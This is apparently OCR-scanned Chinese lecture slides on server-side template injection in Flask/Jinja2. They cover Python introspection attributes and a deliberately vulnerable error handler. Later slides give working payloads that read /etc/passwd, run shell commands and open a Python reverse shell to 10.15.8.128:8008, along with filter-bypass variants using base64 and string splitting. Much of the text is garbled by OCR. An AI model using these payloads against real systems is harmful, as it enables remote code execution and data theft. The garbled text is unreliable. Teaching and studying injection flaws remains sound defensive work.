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BAADIR

<?php

if(is_set( $ GET[ name’]) {
$name = $ GET[ name’ ]

}

?>
<!'DOCTYPE html>
<html lang="en”>
<head>
<{meta charset="UTF-8">
{title>index</title>
<{/head>
<body>
<h3>Hello <?php echo $name ?> </h3>
{/body>
</html>
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- MVCEEETT
— Model $UBIREE, WEIBHITIIFAWLIE,
- View fiBE2, HFHESR, £oJHitRNE
— Controller £#lE, AFLIBIFEiZiE
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- ERBIERSIZE - Jinja28 1Bk
— Python {% for item in items
- Jinja2 %}
- Mako {{ item.name }}
+ Genshi {{ item.display() }}
- PHP {% endfor %!}
- Smarty
- Twig
« Haml
— Java

 Freemarker
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BAADIR

 Flask5Jinja2iEtk{E A

@app. route ( ¢/safe/<name>’ )  # &% HFNIN /AR 540 ]
def safe(name): # ZiEEHKE (view)
return render template(“test.html”, name=name)

—test. html—> # FHbz 4
<html>

<body>

<hl1>hello {{ name }}</h1>
</body>
</html>
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« Python@i&il#l

— Pythonth—IIEATR, FIAEWRMKE “Object” 4

— PythonW &5k

+E88 WF (int float) . F#/F&

(str) < 3% (list) . 8 (dict) . 5t (tuple) .
X (file) . &5 (set)

- BiERIE

- WT¥%(dunder) ek ASREMMRBEFRA” magic
method” (Bithi%). SESRBR THIEARA, tIIAEH,
FIn: __init__() 0 __del__() ZEMC++PBIiES ifh &

FOPTRE e ST
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— __class__ iR[OiFAFISEEER

— __bases__ ix[O]ZE8%%

- __mro__ WWEARERZEBITHIBI B LT E S
JtiH

— __subclasses__() iEBobjecthi+F

— __globals__ B#EIAFHRER RO SFmIEREEIE
BEE (EFHE__init__RiEREABILHE)

— __getattribute__ SihipIWg AR, WHiE#REH

» PythonMEZiER __builtins__

— __builtins__ARIBRHITEEREFIETREREZFEID]
LAERIRA, AAImport.

- len(). range(). type(). help()% 13
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. PythonBIR&EHLE
- N8, ANBIEREAS, BEIEITIHITHR—RDT RGN
L. FeAiIo] AT RERE—TURBIFAAIER, Ll

dir ("’

[’ add ', ° class_ ', °_ contains_ ', ’_ delattr ', ’_ doc__ e
format ', °__ge ', _ getattribute ', 7 getitem ', ' getnewargs
13 ", gt ', hash ', 7 init ', 7 _le ', 7 _len ', 7 1]
L _mul_ ', "_ne_ ', '_new ', '_reduce_ ', '_ reduce_ex_ ', °

‘_rmod_ ', '_rmul_ ', ' _ setattr ', '_ sizeof ', '_str ’,’

' _formatter f_h'd_name_ plit’, ’_formatter_parser’, ’capitalize’, ’
"count’, decode encode’, ’endswith’, "expandtabs’, ’find’, ’format’, ’
isal num , 1isal pha , 1isdigi t , iu;ow er , ;Hupauh , ~1istitle, _Hupp r ,
' ljust’, " lower’, ’lstrip’, part tion’, 'replace’, 'rfind', 'rindex’, ’
', 'rpartition’, 'rsplit’, ’rstrip’, ’split’, ’splitlines’, g
' swapcase’ , ~title’, ’translate’, 'upper’ , ’zfill’]

isinstance( , str)
True

isinstance([’ s’ ], str)
False
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BAADIR

class myClass: # Z5% X
def init (self): # FEILWIUG{ILEREL

self.name = “myClass”

def str (self): # AL KEL

return “My name is: ” + self.name

def getName (self): # FKHiname)m M 77
print ( “BEFIZFEI: ” + self.name)

def setName (self, name): # 1% B name)& 4 715
self. name = name
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myClassi?J 44 F: myClass
HRAZR AT
getName

A4 7Y myClass
THMAZ R T AT

setName

m = myClass () # FJuptl s TN T
print "myClassf]%: %s” % m. name) i
e B APy
while (True) :
methodName = input ("iEHIAZ W HEFI 7% F\n")
if methodName == "setName”:

name = input ("EHEIAFTZF\n")
m. getattribute (methodName) (name)
m. getName ()

else:

m. getattribute (methodName) ()
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« FESSTIFERFBILE

@app. errorhandler (404)

def page not found(e): # G/ CHD
template = 77’
{div class="center—content error”>
<h1>00ps! That page doesn’t exist.</hl1>
<h3>%s</h3>
</div>
>77 % (unquote (request. url))
return render template string(template)

@app. route ( ¢/safe/<name>’ ) # ZZ4HI{CHY
def safe(name) :
return render template(“test.html”, name=name)
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» SSTImiRNFDIR 5

- SSTImIRFIA: Pradtiz
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UM ADIRBIS ST limilk

AN - V-8 A\
— & EwARmAL 1}
< C O © 72| 10.15.8.215:2000/unsafe/%7B%7B1+1%7D%7D
i A ) EEUsEEE-. webZe blog Ellsav=d i J
Hello 2
< C O O F#£| 10.15.8.215:2000/safe/P67B%7B1+1%7D%7D
2 wE o EETAEES webZ e blog BRI E P

hello

{1+1}}

— 1R51:
- MIABIRIEIL, MEDFEBIRSERPWE, (pythoniEsR

m

1

HFiBdebugtEt, phpEHBiBIZRDEINGE)

- B HIEIE S EKRIESHERFKIRM
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- SSTIRIRFIA: Pradtiz

FIik

— @ Python 4R iR R 2315 A H
- TR
- 1. [EfEH—T %R, FAH__class__FKENHEHMAIZE
« 2. 1¥M __bases__ FEEZE (iROtupleZis? ) , M
BEBZE’ object’
- 3. ¥/ __subclasses__ FEEEBEBBFE,
« 4. FFEFHT__init__HERNEHRA__init__(RB7
wrapperfliR HERIT )
- 5. #H__globals__#ZxBE/ZEEPHI__builtins__Z&
« 6. FA__builtins__®#__import__HiESABERHF
{ERIRRPBIFT A

it
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- SSTimiRA A

http://10.15.8.215:2000/unsafe/%7B%7BI[]l.__clas
S _ bases__[0].__subclasses__()[401(%22/e
tc/passwd%22).read()%7D%7D

http:/[10.15.8.215:2000/unsafe/%7B%7BIl].__clas
S _ base__.__ subclasses__()[60].—_init__._
_globals__['__builtins__'T'__import__"1('os").po
pen(ls’).read()%7D%7D
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AT

bals__['__builtins__"TI'__import__1('os').syste
m("python —c %5c"import
os,socket,subprocess;s=socket.socket(sock
et. AF_INET,socket.SOCK_STREAM);s.conne
ct(("10.15.8.128',8008));0s.dup2(s.fileno(),0);0s.d
up2(s.fileno(),1);0s.dup2(s.fileno(),2);p=subpro
cess.call(['/bin/bash’,-i'1);%5c™)}}
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—- PIES([DHEILNE: FApopH#sd
"__class__.__ Mmro__.__ getitem__(2).__subcla
sses__().pop(40)(/etc/passwd').read()

- gI8( ¢ “YiEiE: FAflask E TP HIrequest.args
B, ZEEATREget=4,
{{().__class__.__ bases__.__ getitem__(0).__s
ubclasses__().pop(40)(request.args.path).read
O}?path=/etc/passwd
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- FYI&()#HiIiE: B E—Rhi%E, MrequestargsEi,
moJlAFIArequest.values ; LEBIFKEBIRpostS&Hl,

— XF(os/evallfile/-)#idiE: #MAbase64%wi3sk=
T PHIESE
{[1.__getattribute__("X19jbGFzc19f.decode('bas
e64')).__base__.__ subclasses__()[40]("/etc/pass
wd").read()}}
{[1.__getattribute__('__c'+'lass__").__base__.__

subclasses__()[40]("/etc/passwd").read()}}
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- AZREREAPEGIRER, ERERAHITER, A2
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- [EHERNRIERITIEENZEHTTIZN
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- [1lhttps://portswigger.net/blog/server-side-te
mplate-injection
- [2]http://[www.vuln.cn/6934
- [3]http://python.jobbole.com/84063/
4] https://bbs.ichunqgiu.com/thread-47685-1-
1.html?from=aqzx8
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